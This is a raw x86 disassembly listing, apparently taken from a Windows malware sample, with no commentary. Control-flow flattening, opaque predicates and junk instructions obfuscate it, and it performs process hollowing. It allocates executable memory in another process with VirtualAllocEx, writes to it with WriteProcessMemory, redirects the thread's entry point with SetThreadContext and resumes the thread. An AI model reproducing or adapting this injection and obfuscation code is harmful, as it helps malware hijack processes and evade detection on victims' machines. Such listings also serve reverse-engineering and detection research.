mov dword [ebp - 0x104], 0x265ae745
jmp 0x10005712
mov ecx, dword [ebp - 0x20]
sub ecx, 0x6865cbfa
add ecx, 1
add ecx, 0x6865cbfa
mov eax, dword [ebp - 0xac]
mov dword [eax], ecx
mov eax, dword [0x10066338]
mov ecx, dword [0x10066334]
mov edx, eax
add edx, 0x937e0439
sub edx, 1
sub edx, 0x937e0439
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x62fc4d03
mov ecx, 0x7f80eb7e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x10005712
mov eax, dword [0x10066338]
mov ecx, dword [0x10066334]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x378be7b5
mov ecx, 0xc316efeb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x10005712
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xc8]
mov dword [eax], ecx
mov eax, dword [0x10066338]
mov ecx, dword [0x10066334]
mov edx, eax
sub edx, 0xd501c71e
sub edx, 1
add edx, 0xd501c71e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x378be7b5
mov ecx, 0x9d5a2251
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x10005712
mov dword [ebp - 0x104], 0x3238c735
jmp 0x10005712
mov eax, dword [ebp - 0xdc]
mov ecx, dword [eax]
xor eax, eax
sub eax, 8
sub ecx, eax
mov eax, dword [ebp - 0xec]
mov edx, dword [eax]
mov eax, dword [ebp - 0xd8]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0xd8]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
mov edx, dword [eax + 0x28]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0xf4]
mov eax, dword [eax]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0xf4]
mov eax, dword [eax]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0xec]
add eax, 4
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x104], 0xa1fa6491
jmp 0x10005712
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x18]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebp - 0xec]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [ebp - 0x104], 0x5478334b
jmp 0x10005712
mov dword [ebp - 0x104], 0x27d3dad3
jmp 0x10005712
mov ecx, dword [0x10066338]
mov eax, dword [0x10066334]
mov edx, ecx
sub edx, 0x737100bf
sub edx, 1
add edx, 0x737100bf
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf986ed96
mov ecx, 0x644ad9ba
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x10005712
mov dword [ebp - 0x104], 0x7f76c1c0
jmp 0x10005712
mov eax, dword [ebp - 0xfc]
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0x104], 0x2b22872c
jmp 0x10005712
mov eax, dword [ebp - 0xa0]
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp - 0xa0]
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp - 0xa0]
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp - 0xa0]
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp - 0xa0]
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp - 0xa0]
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp - 0xa0]
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp - 0xa0]
mov eax, dword [ebp - 0x9c]
mov dword [ebp - 0x104], 0x2bce3743
jmp 0x10005712
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0xec]
mov ecx, dword [ecx]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x104], 0xa41c184b
jmp 0x10005712
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0xd0]
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0xbc]
mov dword [ebp - 0x104], 0xc138700
jmp 0x10005712
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x104], 0xa30f518f
jmp 0x10005712
mov dword [ebp - 0x104], 0xc836a1af
jmp 0x10005712
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x104], 0x1fdb1bfe
jmp 0x10005712
mov dword [ebp - 0x104], 0xd5028e4c
jmp 0x10002cf7